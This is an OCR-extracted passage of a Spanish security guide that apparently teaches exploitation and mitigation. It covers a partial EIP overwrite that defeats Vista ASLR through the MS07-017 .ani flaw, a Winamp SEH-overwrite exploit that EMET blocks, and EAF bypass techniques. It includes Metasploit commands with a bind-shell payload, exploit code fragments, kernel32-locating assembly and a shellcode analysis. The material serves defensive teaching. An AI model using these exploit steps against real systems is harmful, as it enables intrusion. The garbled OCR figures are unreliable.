1% RELRO: RELocation Read-Only
http://isisblogs.poly.edu/2011/06/01/relro-relocation-read-only/
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6.3.1. Metasploit: MSO7_017 Ani Loadlmage Chunksize

El nivel de entropia implementado por ASLR sera también fundamental para garantizar que
esta medida sea efectiva frente a determinados ataques. La vulnerabilidad CVE-2007-
0038'%" para Windows Vista (32 bits) puede servir de caso de estudio para mostrar las
consecuencias que puede implicar disponer de una escasa aleatoriedad a la hora de
implementar ASLR. Windows Vista Unicamente aplica aleatoriedad a los 16 bits mas
significativos, por lo que bajo ciertas condiciones, podria ser aprovechado para hacer un
partial overwrite de EIP con una direccion vélida o hacer brute force de la misma. Veamos
este ejemplo. Las siguientes imagenes representan el comienzo de una funcién
perteneciente a wsock32.dll antes y después de un reinicio en un Windows Vista. Como se
observa, 2 de los bytes permanecen intactos.

R Reboof: ??E-EEFI'E'
q0F ﬁ EEAA
HaF E ~EHE

MOF

Figura 81. ASLR Windows Vista

La vulnerabilidad CVE-2007-0038 permite aprovecharse de un buffer overflow en la funcion
LoadAnilcon(), dentro de USER32.dll, mediante la creacién de un fichero que permite
inyectar codigo en IE7 y Firefox en RIFF....ACONanih
Windows Vista (entre otros). :

Si se crea un fichero ani como el que
muestra en la imagen y se abre con
IE 7, llegaremos a sobreescribir EIP

con CCCC (véase en rojo) justo BBBBECKC
cuando éste apunta a una direcciéon
en USER32dll. Si Unicamente Figura 82. Exploit .ani (CVE-2007-0038)

utilizamos dos de estos bytes (véanse en verde) para sobrescribir EIP (los dos bytes menos
significativos) conseguiremos un partial overwrite. En ese caso, no tendriamos que
preocuparnos por el ASLR implementado en Windows vista (32 bits), ya que los dos bytes
mas significativos, que son los Unicos que cambian en cada reinicio del sistema, estaran ya
en EIP y Gnicamente necesitaremos sobreescribir el resto de bytes (2 bytes menos
significativos).

Aungue no existe ningun registro que apunte directamente al shellcode en el momento del
partial overwrite, si que EBX apunta al comienzo de la cabecera del ANI (RIFF), por lo que
haciendo un JMP PTR [EBX] y posteriormente una serie de saltos dentro de la cabecera del
mismo (sin corromper su estructura) seria posible llegar al shellcode.

7 windows ANI header buffer overflow

http://www.phreedom.org/research/vulnerabilities/ani-header/
Windows ANI header buffer overflow
http://www.nullsecurity.net/papers/nullsec-bypass-asir.pdf
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Lo importante es encontrar una instruccion en USER32.dll dentro del rango XXXX con un
jmp ptr[ebx] ya que en el momento del crash los 2 bytes mas significativos se encuentran
ya en EIP por lo que afiadiendo el offset necesario (2 bytes) conseguiremos un salto a EBX.
Esto es precisamente lo que hace el exploit
exploit/windows/browser/ms07_017_ani_loadimage_chunksize (Metasploit), el cual,
creard un fichero ani a medida (en funcion del TARGET seleccionado) para explotar el
sistema indicado. Si observamos el codigo fuente del mismo observamos el siguiente cédigo
cuando utilizamos como target un Windows Vista:

>

> OX700B

Figura 83. Partial Overwrite Windows Vista (Metasploit)

etasploit (0x700B) dentro de USER32.dll donde
por EBX.

En la imagen vemos el offset utilizado por
encontraremos un salto a la direccién apuntada

Veamos esto paso por paso. Primero prepararemas el servidor vulnerable con el fichero .ani
malicioso a la espera de una conexion. Posteriormente abriremos el IE7 en el equipo

victima, haremos un attach [ESHECTICIEN ) > back
.. msf > use exploit/windows/browser/ms087_017_ani_loadimage_chunksize
desde Olly y fijaremos un [EEerSrIEy: ) > set SRVPORT 2222

i SRVPORT => 2222
breakpomt en el Offset 700B msf exploit( ) > set PAYLOAD windows/shell/bind_tcp
de la direccion en la que se [ENECEECENUEITEEIRAVEITERS

. exploit( ) > set LPORT 6969
haya cargado USER32.dll. Si s 7 se e

: msf exploit( ) > exploit
Ehor/a/' Intentamos acce/der a [*] Exploit running as background job.
ttp://192.168.1.82:2222
*] started bind handler

veremos que Olly se para [ESEELRLIEE Gt R Iy,
; ; Local IP: http://192.168.1.82:2222/
justo en el breakpoint, cuya Server started.
instruccién se corresponde con

un jmp [EBX].

Figura 84. Preparacion web server cen ani malicioso

observamos la direccién que B« x| w1 » ~] L] E|M|T|w|i|c]7]K[B[R[-.|s] &
contiene EBX, ésta apunta al EEE TN AL, oFF - [Reaisters (FPU)
ENG 4F331852
I : 772CEFFC| @oea f00 BYTE PTR DS: (EAX], AL :
inicio de la cabecera del fichero |&eeee| &ae ADD_BYTE ECN\ 20000206
; 772C7006(~74 FE JE_SHORT UeERSs: SSataFRD : aaoseegs
ani 772C7002| FFFF T
. . 7reC7end| oosa QDD BYTE PTR DS: [EAX], AL ADR2046
772C7006| @006 ADD BYTE PTR DS:[EAX],AL L - S
rracroos| FE 777 030620
i i 4 —ch?w9 FFos JUP DORD PTR DS:(EBX] E1F 7radoes
Si pulsamos F7, EIP continuarg [eess-re= B AT A
. ., . L 7racroor| 202z ¢ HOR BVTE PTR DS: (EDI+2C3,0H
Su ejecucion a partir del inicio de 77ac7e12| 5877 81 %08 BVTE PTR DS: (EDI=7E1 1
la cabecera ani Después ;;%E;i? M jgcgaosg;aﬁ&gggn;;eggsggam
: p gr2Cra1a) FFES JUPFAR ECK '
realizara una serie de saltos, Y |zraczeic| ezes BOUND ER, QUORD PTR 05¢FEAX)
- el N B8, SRR e Tl
finalmente acabara ejecutando el |528555 550 BOUND Eftt- oWORD pAf DS: LEAN) EE%EE;{
lees| o be ohe Etioar usepdz. 7racres
shellcode (meterpreter reverse |ZEiiE s, PUSH DHORD BAR S5:[EEP+24]
7reC7B2C| FF7S 28 ISH_DWORDATR S5: CEEF+281]
tcp) 772C700F| 3300
772C7031| é6:e37B B2 81 PTR 0S: [EBK+21, 1
7reC7ese| BFa4Ca S
7r2Cra39| so -
Software Exploitation AL I o
5785 F5 06 03| \310p54

Figura 85. Partial Overwrite
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El objetivo de este
ejemplo es considerar

la importancia que
tiene implementar
ASLR de forma

eficiente y totalmente
aleatoria.

En caso contrario
seria posible utilizar
ataques similares al
visto en este ejemplo,
aprovechandose de un
partial overwrite.

Es importante considerar
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=5 FLUSH ED: » | Begisters [FPLU)
EEBESSBE E| Eg¥ — [ ERX 4F221REZ
| | Ec epacsmas
GZDEGEE ESI — | E0% BERREREZ
G2 OEAEE SHORT EZ0EGE4E EE BSESFECE
EEBESSEE EE;E FTR DS: [ER], AL ESF B2BSF204
020E8608 e EEFP SODE2645 o
ESI @2BEF228 ASCII "anih
GEOEAGEE EDT EDI B3R&FZ04
E%BESSEE ESI EIF BZDEGEED
G2 DEGGED 5 DX, EYTE PTR_ES:[EDIT
BEDEBBOE| £965 24 0EOAEREZ{ IMDN, EEF, DUORD PTR DS: [EAX+241,2400008 |- 5 Co figf Sob il HFEEE
GZOEQEIE| GEEE ADD E FTR DS:[EAXI, AL A8 952 @E22 22hit BLFFF
GE0EARIT| BESS GEEREEET | GO0 FTR DS: [EAX+E7EEREERT, CL 71 DOf BE=S SPbit MIFFF
GZ0EEE10| @iaa AOD TR DSz CEAX, ERX S B FS BEZE Z2hit FFFO9
GEOEAEIF| EE6aE AOD EYTE PR, D5:LEAXT, AL TE G5 BARE HULL
o oo 2 R ¥
ke AO0 BYTE PTR Do w10 AL - |08 LastErr ERROR_SUCCE
EE;EEEEEQBSSGD Onf_CUTE CTC Cics FEfRe 1 il EFL @r@amnz4s (MO, ME.E.BE
= ST8 empty -MAN FFFF FFOE
T empty —777 FFFF 0A@D
572 empty —?77 FFFF G080
Address |Hex dump SCIT ~
GELERRGD | 52 49 46 46 |ED SH B8 GO0 41 45 9F 4E 61 G6E 69 60| RIFF0:..ACONanih — aaang
GZDEREIE| 24 B 68 BE OF BE S5 8 BB B8 BF O B8 08| 5...5...8...50.. LW asaers
GEOEAGZ0| B8 B B8 06 B0 B8 05 B 65 G5 B9 G5 BE B9 B8 BE[ . ........eee... ~ | aoacFa
GZOEAEZH| A8 BE B8 BE B1 B8 B8 B0 73 43 72 52 A4 B4 08 O8[....8...sCrRAs. . HABEFS
GEOEAEHE &5 90 B4 O8 BB 59 5E 29 CC 59 E7 FS A4 FF|Ozhee. V™) Fephd BaEcEa
AZDERESE EC FF FF FF 25 OS5 AS 47 BE 42 BS 55 FF CA| &by ('4mCEE * FEREES
GEOEAGEE| D6 55 27 B7 vA 25 4E 10 DB FC 2C 4B 7C 42 37 20| i5* azHHR:T,KIE7- BaAcEa
GEZ0ERETE| 68 FO 91 7B @4 7F 15 B2 73 76 2C 4B 98 99 B9 49| k:aCendBzy, Keii I HABEFS
GEOEAGSE| 42 55 FO 7R B2 E1 &6 92 @5 F9 77 46 Bl A9 3C 7B|Be® =86 F il wFiEsEs [ BaAcEa
GAZ0ERAESG| @8 EE 48 I1C BE 72 37 S 27 BS BA 7S TE BA Fr E@|.uHArrs allu-. -0 HABEFS
GEOEAERE| 7C 41 71 B3 FC 34 5F B3 60 B6 7D 35 24 25 10 GC[ 1Aqe* 47| .51550. BaAcEa
AE0EREEG| BE 51 D6 BF 91 30 78 79 28 FS 84 D2 D4 BE AS 96|@iifie=py SEEEELG SRR

Figura 86. Comienzo cabecera .ani

por tanto, que ASLR ser4 mas eficiente si trabaja junto a

DEP'® y siempre que emplee la mayor aleatorizacion posible, lo que implica que el

software de terceros debe implementarse con /DYNAMICBASE y  /INXCOMPAT

(configuracion opt-in) en el caso de Windows.

1% On the effectiveness of DEP and ASLR
http://blogs.technet.com/b/srd/archive/2010/12/08/on-the-effectiveness-of-dep-and-aslr.aspx

Software Exploitation 68



0 OBIERND ISTER Instituto Nacional
ﬁ gEEﬂ'AﬁA ;.E":NDU:'?"-VNEN“GiA iInTeco de Tecnologias

TTURSMO de la Comunicacién

7. HERRAMIENTAS AUXILIARES

7.1. EMET (THE ENHANCED MITIGATION EXPERIENCE TOOLKIT)

En los puntos anteriores hemos visto como reforzar nuestro software mediante varias
opciones en tiempo de compilacion ademas de mencionar algunas de las contramedidas
existentes en los sistemas operativos actuales (ASLR, DEP, SEHOP, etc.) para servir de
barrera adicional con la que frustrar cualquier intento de explotacién.

Sin embargo, ¢Qué pasa si nuestro software depende de librerias externas que no han sido
compiladas para implementar ASLR (DLL_CHARACTERISTICS)? ¢Qué pasa si trabajas en
un entorno critico con cierto software el cual no fue disefiado para utilizar ninguno de los
mecanismos de proteccién vistos hasta el momento? Una posible solucion a esto, es utilizar
herramientas como crystalAEP'® o EMET (Enhanced Mitigation Experience Toolkit),
herramienta desarrollada por Microsoft con la que intentar reducir las probabilidades de que
un atacante ejecute cédigo malicioso a través en un determinado programa. La utilizaciéon
de ficheros PDF maliciosos para comprometer equipos mediante ataques de phishing es un
claro ejemplo de este hecho. Lo mismo con aplicaciones como Flash, Java, Firefox,
Documentos de Office, etc. El uso de EMET puede ayudar enormemente a prevenir un gran
namero de ataques que tratan de aprovecharse de software inseguro y de configuraciones
de seguridad débiles en los S.O. Algunos de los beneficios que nos ofrece EMET se
describen a continuacion:

1. Implementacién de medidas de seguridad como DEP, ASLR, SEHOP, EAF, HSA, NPA, BUR sin
necesidad de recompilar software.

2. Altamente configurable: las medidas de mitigacion son muy flexibles, permitiendo aplicar las mismas
en los procesos que se elijan. Esto implica que no hace falta implementar ciertas medidas de seguridad
a todo un producto o un conjunto de aplicaciones (lo que podria generar problemas si un determinado
proceso no soporta ciertas medidas de mitigacién, por ejemplo aquellas que no soportan DEP)

3. Facilidad de uso y de despliegue: EMET dispone de una interfaz grafica desde la que configurar todos
los parametros deseados, olvidandonos asi de tener que modificar claves de registro a mano o
cualquier otro tipo de configuracion delicada. Ademas es facilmente desplegable por medio de politicas
de grupo y del System Center Configuration Manager

(=) System Configuration [E=n|Eoh| ===
() Enhanced Mitigation Experience Taolkit | = o | Quick Settings
Help Profils Nams | Custom Settings [>]
System Status
Custom Settings
Data Execution Prevention (DEF) Bg “peicaton Optin [Mitigation Setting |
o DEP Application Opt In ]
Structured Exception Handler Overwrite Protection (SEHOP) g Dieabled SEHOP Disabled EI
ASLR Application Opt In =]
Aderess Space Layout Randomization (ASLR) g Application Opt In ‘
| configure System g
Running Processes () (=] Application Configuration =] ]
[Process IO Process Name DEF [ Running EMET |5 File
1252 Searchindexer @ = —
= Applications
1600 svehost @ - )
260 I — @ App Name DEP [SEHOP =« [MulPage | HeapSpray |EAF Mandator... | BottomUp...
2132 WimiPrySE (7 logviewer.exe
. imdisplay. exe
|| cCenfigure Apps
. - e —_— —
Figura 87. Configuracion de EMET 3.0 ox [ cocel

19 About CrystalAEP
http://www.crystalaep.com/about.html
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Para utilizar EMET Unicamente lanzamos su interfaz grafica y seleccionamos los procesos
asi como las medidas de mitigacion que queremos implementar. Como se observa en la
figura anterior, EMET dispone de dos grupos de configuracion. Por un lado aquellos
parametros que afectan al propio sistema y por otro, los que queremos aplicar al software
que elijamos. Es importante sefialar que EMET es dependiente totalmente del sistema
operativo en el que se instale, lo que implica que sobre una maquina Windows XP algunas
de las medidas de seguridad como SEHOP o0 ASLR (las mostradas en el System Status) no
estaran disponibles.

A partir de la version 3 de EMET, podemos aplicar esta configuracion mediante la
importacion de perfiles de proteccion (protection profiles). Estos, no son mas que ficheros
xml donde se define la ruta de los ejecutables que deseamos proteger; opcion bastante (til
para portar configuraciones de un equipo a otro. En la siguiente figura se muestra como
proteger la suite de Microsoft Office mediante el fichero de configuracién "Office
Software.xml”

C:\Program Files“~EMET>EMET_Conf .exe ——import "“"Deployment:Protection Profiles“Off
ice Software.xml
1 1s 1mporting conit igw 3

SOC B = B Name="0ffice" version="2007"=
Processed 5@ entries "Visi i " path="*"Microsoft Office\OFFICE12"VPREVIEW.EXE" />
viewer" Path="+='Microsoft office\OFFICE12"PPTVIEW.EXE" />
"=yMicrosoft Office’\OFFICE12"VISIO.EXE" />

"access” =wMicrosoft Office\OFFICE12"\MSACCESS.EXE" />
"Excel” Path="+‘Microsoft Office \OFFICE12“EXCEL.EXE" />
"Outlook™ Path= Microsoft Office \OFFICE12"\OUTLOOK.EXE" />
"Power Point" Path="+'\Microsoft Office“OFFICE12"POWERPNT.EXE" />
"word" Path="+"Microsoft OfTice \OFFICE1Z"WINWORD.EXE" />
"Publisher”™ Path="=‘Microsoft Office"OFFICE12\M5PUB.EXE" />
"InfoPath" Path="='\Microsoft Office \OFFICEL12" INFOPATH.EXE" />

Figura 88. EMET _Conf.exe

La forma que tiene EMET de trabajar
es mediante la inyeCCién de una dll Suﬂrsﬁ Namem T o6 v ner - Pat Aot i crosoft OFFice\QFFICEL4\VPREVIEW. EXE" />
(emet.dll), la cual permitira modificar el <APP Name—) PowerPoint Viewer” Path="\Microsoft OTTice\OFFICEL4\PPTVIEW. EXE"/>
comportamiento de los procesos afectados durante la carga de los mismos, como por

ejemplo, modificar la direccion base del ejecutable en memoria con los que evitar ROP

attacks.

Segun explica David Delaune™’, EMET hookea LdrLoadDll y chequea el valor de
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE. En caso de no implementar ASLR,
EMET forzara la carga de dicho ejecutable en otra direccion de memoria (ignorando asi el
valor ImageBase del PE Header). La incorporacion de BUT (Bottom-UP Rand) en la versién
2.1 de EMET afadi6 una entropia de 8 bits sobre el heap, stack y otras regiones de
memoria frente a los 4 bits proporcionados por Mandatory ASLR. Seleccionando por tanto
BUT en nuestras aplicaciones estaremos dotandolas de la misma entropia que el ASLR real
implementado en el S.O. Puede verse la efectividad de BUT en el post “Bottom Up
Randomization Saves Mandatory ASLR”*! de Didier Stevens.

10 ASLR mitigation not set on some applications
http://social.technet.microsoft.com/Forums/en/emet/thread/2208281f-ef4e-412d-ad 7f-cd 2f36404eb6

11 Bottom Up Randomization Saves Mandatory ASLR
http://blog.didierstevens.com/2011/09/01/bottom-up-randomization-saves-mandatory-asir/

Software Exploitation 70



0 Instituto Nacional
OBIERM MINISTERID
ﬁ (E;)Emg DE INDUSTRIA ENERGIA inTeco de Tecnologias

TTURSMO de la Comunicacién

7.1.1. Winamp 5.72 (whatsnew.txt SEH overwrite) : SEHOP EMET Detection

Para entender mejor el funcionamiento de EMET se utilizar& el siguiente ejemplo con el que
veremos la eficiencia de esta herramienta contra ciertos exploits.

La version de Winamp 5.72 presenta un buffer overflow en la libreria nde.dll al procesar un
fichero whatsnew.txt malicioso. Dicho fichero se encuentra en el directorio de instalacion de
Winamp y es procesado por el mismo cuando se consulta cierta informacion sobre la version
del reproductor desde la propia interfaz grafica. Creando un fichero con una cadena lo
suficientemente larga puede llegar a sobrescribir EIP asi como el manejador de
excepciones. Antes de comprobar la eficiencia de EMET frente a este tipo de amenazas,
ejecutaremos dicho exploit para entender su funcionamiento.

[ '"Windows Universal', { 'Ret' :>|Bx1992549?} 1, # pop ebx; pop ebp; retn gen_jumpex.dll

'Privfileged' => false,
'DefaultTarget' ==> 0))

register_options(
OptString.new('FILENAME', [ false, 'The file name.', 'whatsnew.txt']),
], self.class)
end

def exploit

sploit = "Winamp 5.572"

sploit << rand text alphanumeric(672)

sploit == "\xeb\x06%\x90\x90" # short jump 6 bytes
SploitT << [Target.ret].pack( V']

sploit << "\x9@" * 2@ # nop sled

sploit == payload.encoded
sploit << rand_text_alphanumeric(4488 - payload.encoded.length)

Figura 89. Fragmento de cédigo de exploit para Winamp 5.72 (whatsnew.txt SEH overwrite)

La figura anterior se corresponde con uno de los exploits disponibles en exploit-db que se
aprovechan de un SEH overwrite. Como vemos en la imagen, el exploit sobreescribira el
manejador de excepciones con la direccién 0x10025497 dentro de gen_jumpex.dll donde
se encuentra una instruccion del tipo pop pop ret.

Con esta instruccion, conseguiremos retornar al valor almacenado en el EstablisherFrame,
el cual apunta al campo “next SEH” de la estructura SEH creada en la pila. Finalmente
desde el campo “next SEH” se hara un salto de 6 bytes (opcodes eb 06) al reverse_shell.

Si ejecutamos Winamp sin utilizar EMET y miramos las propiedades de seguridad de la
aplicacion desde Immunity Debugger nos encontrariamos con la siguiente imagen.
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€, hang on...

Imona nosafesehasi

Fiaura 90. !mona nosafesehaslr (Immunitv Debuaaer)

La imagen se corresponde con la salida generada por mona.py, la cual muestra las librerias
utilizadas por Winamp que carecen de SafeSEH y ASLR (opcidon nosafesehaslr). Ahora
podemos entender por qué la libreria gen_jumpex.dll es buena candidata para hacer un pop
pop ret al localizarse de forma estética entre los rangos 0x10000000-0x1004a000 y carecer
de SafeSEH.

Si fijamos un breakpoint en 0x10025497 y ejecutamos
Winamp, produciremos el buffer overflow esperado generando
la excepcion pertinente. Si observamos el valor de la cadena
SEH vemos cémo se ha sobreescrito correctamente el puntero
al manejador de excepcion con la direccién del pop pop ret
dentro de gen_jumpex.dll. En el stack puede verse también el
nop sled al que saltaremos una vez se ejecute el short jmp de
6 bytes (puntero “Next SEH”) justo antes de alcanzar el
shellcode (mostrado en rojo).

Este ejemplo es el modus operandi utilizado por muchos
exploits que se aprovechan de un buffer overflow que
sobreescribe SEH. Los problemas se agravan cuando DEP y
ASLR estan implementados, en cuyo caso habria que utilizar
alguna de las técnicas que se comentaron anteriormente
(ROP gadgets, JIT-spraying, etc.)

Figura 91. SEH Overwrite. Winamp 5.72

el . .
i . En este caso se ha hecho uso de dicho exploit

S en una maquina Windows XP SP3 (idioma
Data Exzction Prevention (OEF) g Aeiation OBt In espafiol). Véase ahora lo que sucederia si
Structured Exception Hanelir Overurtzs Prctecton (SEHOR) Unavalibis utilizamos el mismo exploit contra la misma

version de Winamp, esta vez, protegida con
EMET. Tras afiadir la aplicacion desde la opcién
_ _ “Configure Apps” y reiniciar Winamp, EMET nos

e P e - mostrarfa la misma en el listado de procesos

fee e I5 con un icono verde indicando la correcta

L The changes you have made may require restarting ane ar more applications | Configure Apps | proteccic')n de la aplicacién.

Address Space Layout Randomization {(ASLR ) Unavailable

| Configure System |

Figura 92. EMET (Winamp)
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Mitigation XP Server \Vista Server  Win7 Server

2003 2008 2008 R2
Fijese que desde la opcién “System DEP Y Y \ M Y Y
» : System  I"Gehop N N Y Y Y Y
Status” no nos ofrece algunas opciones  settings oin . . - v .
como SEHOP o ASLR al tratarse de un

Windows XP. Desde la guia oficial™** de DEP Y Y Y Y ¥ Y
EMET podemos consultar las  Application | SEHOP Y Y Y Y Y Y
mitigaciones soportadas en cada uno ~ S¢ttines | NULLPage Y Y Y ! ! Y
. . Heap Spray Y Y Y Y Y Y
de los sistemas operativos. Mandatory ASIR N N Y v v Y
EAF Y Y Y Y Y Y

Si lanzamos ahora Winamp y observamos las
librerias cargadas por el mismo, veremos la
libreria emet.dll encargada que implementar las medidas de seguridad configuradas
anteriormente.

#¥ process Explorer - Sysinternals: www.sysinternals.com [SAMSUNGPC: Peregrino] - |EI|5|

File Options  Wiew Process Find DLL Users  Help

dE=EEO8 =54 [ ] M m il |
Process FID | CFU | Private Bytes I Wworking Set I Description | Company Mame | -

J;_] EMET_GUlLexe 2920 26,336 K 34,204 K EMET GUI Microzoft Corporation

F#dvinamp. exe 13,5596 K Winamp Mullzoft, Inc. =

'lj mzpaint. exe 936 10,044 K, 3988 K Paint Microzoft Corporation

S el 2070 077E K 17 339K letarrat Conlogar Mhermorsli Bevsensiies -
MHame = | Dezcription | Compaty Mame | Path | -
EMET dll EMET Shimn tdicrosoft Carparation C:WwMDOWS WAppPatchhERMET dil
filereader. whz C:\Archivos de programathainampt S petembfilere ader whs
Figura 95. Sysinternals (Process Explorer)

Si ahora forzamos la ejecucion del exploit, EMET bloquearia el
mismo, cerrando la aplicacion e informandonos que la mitigacion #8 | EMET Notifier
SEHOP fue la responsable del evento. El método utilizado por R e iliog i

will close the application: winamp,exe

EMET en este caso es comprobar que la cadena SEH puede

recorrerse de inicio a fin y que por tanto no ha sido corrompida; tal ~ Figura 94. EMET Notifier (SEHOP)

como se explicé en el punto 50.

Si ahora eliminamos la mitigacion de SEHOP sobre Winamp y volvemos a lanzar la
aplicacion, EMET seguiria protegiendo nuestro equipo, al detectar gracias a EAF en este
caso, el intento de ejecucién de cddigo.

Figura 93. Opciones de Mitigacion EMET (Guia EMET)

‘.ﬁ.pp Mame DEP SEHOP MullPage Heapspray EAF BottomUpASLR,

wWinamp, exe

En el siguiente punto se explicara en qué consiste exactamente este tipo de mitigacion, para
lo cual, habra que comprender primero que métodos utilizan gran
variedad de exploits para localizar y cargar librerias en run-time.

g% | EMET Notifier

close the application: winamp, exe

Figura 96. EMET EAF

"2 Enhanced Mitigation Experience Toolkit: User guide
http://blogs.technet.com/cfs-file.ashx/__key/communityserver-components-postattachments/00-03-35-03-78/Users-Guide.pdf
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7.1.2. EAF vs Shellcodes

Para entender el método utilizado por EMET para impedir la ejecucion de payloads con EAF
es necesario comprender primero cuales son las técnicas mas utilizadas por shellcodes
para conseguir ejecutar codigo. Para ello, analizaremos el contenido de cierto payload
encontrado en un fichero pdf malicioso (fichero shell.bin).

Una de las herramientas mas utilizadas para analizar e identificar posibles shellcodes es
libemu. La idea de esta libreria, escrita en C e implementada en frameworks como Dionaea
o0 PhoneyC, es emular instrucciones x86 e identificar/hookear llamadas a la API de Windows
con la que poder obtener informacién suficiente del cédigo sin necesidad de llevar un
andlisis exhaustivo con debuggers como Immunity u Olly.

Para lanzar libemu
Unicamente  especificamos
como argumento el binario
que queremos analizar (S) y
el ndmero de pasos que
queremos  ejecutar/emular
(s) por medio de Ila
herramienta sctest.

Como se observa en la
salida, libemu nos muestra
alguna de las  APIs
necesarias para ejecutar
cbédigo en el equipo de la
victima.

Figura 97. Libemu Output

Libemu utiliza técnicas heuristicas GetPC (Get Program Counter)'™® para localizar

shellcodes que utilizan encoders como shikata ga nai, fnstenv_mov, etc. Raro es
encontrarse payloads que no utilicen algun tipo de cifrado o encoder para intentar evadir
IDS/AV, por lo que esta caracteristica lo hace realmente (til para buscar posibles shellcodes
en ficheros .pcap, exploits, pdf, etc. Para ver un resumen de la API utilizada por el shellcode
podemos utilizar también Scdbg''®, versibn mejorada de Libemu con capacidad de
debugging y que permite ofrecer multitud de informacion acerca del codigo analizado. En
este caso Unicamente estamos interesados en conocer la API utilizada por el mismo.
Muchas veces observando dicha APl podremos hacernos una idea de las pretensiones del
payload.

13 GetPC (Get Program Counter)

http://skypher.com/wiki/findex.php/Hacking/Shellcode/GetPC
14 Analisis de shellcodes con Scdbg
http://www.securityartwork.es/2012/02/23/analisis-de-shellcodes-con-scdbg-libemu/
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Por ejemplo, con la salida generada en la siguiente imagen, parece obvio que shell.bin tiene
como objetivo descargar un ejecutable de cierta URL (exploit.exe) para después ejecutarlo
(WinExec).

401020
401036
401117
4010do
40160d5

na
817313056727EE
80340A99
AB
803ES80
803680

r allocs:

xor dword [ebx+0x13],0xee27670
xor byte [edx+ecx],0x99

stosd

cmp byte [esi],ox80

xor byte [esi],0x80

Figura 98. Scdbg Outupt (report)

Lo que interesa aqui para entender EAF es conocer el método empleado por el shellcode
para localizar la direccion de dichas API's. Un método bastante extendido consiste en
recorrer la "Export Address Table"'** de los médulos cargados en ese momento y buscar,

entre éstos,

APIs de interés. Generalmente suele utilizarse kernel32.dll ya que éste

contiene 2 funciones que pueden utilizarse para cargar en run-time otras dlls y encontrar la
direccion de sus funciones. Dichas funciones son : LoadLibraryA y GetProcAddress.

c:=“Program Files“Microsoft Uisual Studic 18.8~UC-binXdumpbin.exe c:“Windows“suyst

em3Z2«kerneld?.dll sexports

i FINDETR ~I "loadlibrarya"

57 2F6 88029491 LoadLibraryf

c =~ Program Files“Microsoft Uisuwal Studice 18.80~UC~binXdumpbin.exe c:“Windows“sust

em3Z2«kerneld?.dll Aexports

i FINMDETR ~I "getprocaddress"

L48 222 AHH4B8B6 GetProcAddress

"% Tutorial 7: Export Table
http://win32assembly.online.fr/pe-tut7.html

Figura 99. Dumpbin (Visual Studio)
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Para poder hacer esto, sin embargo, es necesario localizar primero kernel32.dll en memoria
ya que, dependiendo de la version de Windows, ésta se cargara en una direccion u otra. En
el paper de Skape “Understanding Windows Shellcode”*® podemos encontrarnos varios
métodos para obtener la direccion de kernel32.dll en cada una de las versiones de Windows
(excepto Windows 7). La mayor parte de shellcodes suelen utilizar la estructura PEB
(Process Enviroment Block) '’ para localizar kernel32.dll, ya que por medio de dicha
estructura es posible acceder a la lista de mddulos cargados en el espacio de direcciones
del proceso. Una de estas listas, denominada InlinitializationOrder contiene en segundo
lugar la direccion base de kernel32.dll, sin embargo, no es valida para localizar esta dll en un
Windows 7. Otra opcion mas estable es utilizar la lista InMemoryOrder la cual contiene en
tercer lugar la direccién de kernel32.dll (y en segundo la de ntdll.dll) y es valido en todas las
versiones actuales de Windows. Desde harmonysecurity™® puede verse un ejemplo del
cbdigo necesario para conocer la direccion base de kernel32.dll:

xor ebx, ebx /I clear ebx
mov ebx, fs:[ 0x30 ] /I get a pointer to the PEB
mov ebx, [ ebx + 0x0C ] /I get PEB->Ldr
mov ebx, [ ebx + 0x14 ] /l get PEB->Ldr.InMemoryOrderModuleList.Flink (1st $
mov ebx, [ ebx ] /I get the next entry (2nd entry)
mov ebx, [ ebx ] /I get the next entry (3rd entry)
mov ebx, [ ebx + 0x10 ] /I get the 3rd entries base address (kernel32.dll)
TEB PEB LDR DATA
Fs[o] J - 7
oo |
oxoc InMemaryOrderModul elist
ox14 I B e O |

kernelz2.dll

Figura 100. InMemoryOrderModulelList (kernel32.dll)

Tras obtener la direccion base de kernel32.dll tnicamente hace falta localizar las funciones
LoadLibraryA y GetProcAddress dentro de la misma para poder cargar cualquier libreria y
hacer uso de sus funciones. Con esto en mente, ahora podemos comprender por qué scdbg
muestra el siguiente mensaje en el shellcode visto anteriormente:

Figura 101. Scdbg Output (IninitializationOrderModuleList)

"8 Tutorial 7: Export Table
http://www.hick.org/code/skape/papers/win32-shellcode.pdf

"7 wikipedia: Process Environment Block
http://en.wikipedia.org/wiki/Process_Environment_Block

18 Retrieving Kernel32's Base Address
http://blog.harmonysecurity.com/2009_06_01_archive.html
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Segun parece dicho shellcode hace uso de la lista InlnitializationOrder para obtener
kernel32.dll y poder asi utilizar GetProcAddress con la que conseguir el resto de funciones
necesarias (WinExec, URLDownloadToFileA, ExitThread, etc.).

A partir de la version 2.0 de EMET, sin embargo, se implementé una nueva mitigacion
denominada EAF (Export Address Table Access Filtering), dirigida a detectar exploits que
utilizan el método visto anteriormente para frustrar asi cualquier intento de ejecuciéon de
codigo. Segun se explica en la guia de EMET, la forma de hacer esto es controlando
cualquier acceso de lectura y escritura a la EAT de kernel32 y ntdll. Berend-Jan (SkyLined)
explico esto de forma mas detallada en el Post “Bypassing Export address table Address
Filter (EAF)"** proponiendo ademas una técnica bastante ingeniosa para evadirlo.

EMET fija breakpoints hardware'®® en la EAT de kernel32.dll y ntdil.dll y cuando detecta
cualquier intento de acceso, comprueba la direccion de la instruccion que produjo dicho
acceso. Si la direccion se corresponde con alguna zona de memoria como el stack, EMET
detectara el intento de ejecucion de codigo y cerrara la aplicacion. Sin embargo, si la
direccion procede de la seccion de cédigo del proceso, interpretard dicho acceso como
legitimo permitiendo la lectura de la EAT. Creando por tanto un shellcode que utilice
instrucciones localizadas dentro de la seccién de cddigo de una dll para acceder al
EAT, podra evadir EAF. Puesto que obtener la direccién base de kernel32.dll y ntdll.dll es
trivial por medio del PEB, como se vio anteriormente, éstas librerias son buenas candidatas
para ser utilizadas como origen a la hora de acceder a la EAT de kernel32.dll. Skylined
escribié un shellcode'* de 140 bytes (null-free) donde pone en préactica esta técnica.

Otro enfoque utilizado para evadir EAF es fijar a O los registros de debugging de forma que
EMET no pueda comprobar el intento de lectura de la EAT. Uno de estos métodos,
propuesto por Guido Landi'?’, es crear un exception handler a medida de forma que
cuando se produzca una excepcion y se guarde el contexto del thread en el stack, este
handler se encargarda de modificar el valor de los registros de debugging en el stack vy
posteriormente retornar la ejecucién del mismo. Asimismo, Piotr Bania*®® propuso otra
alternativa mediante la syscall SetThreadContext para fijar a 0 los registros de debugging
sin utilizar SEH. Este ultimo método, junto al propuesto por Skape es el que ha utilizado Gal
Badishi (Iéase el post “Tweaking Metasploit Modules To Bypass EMET” '?*) para evadir

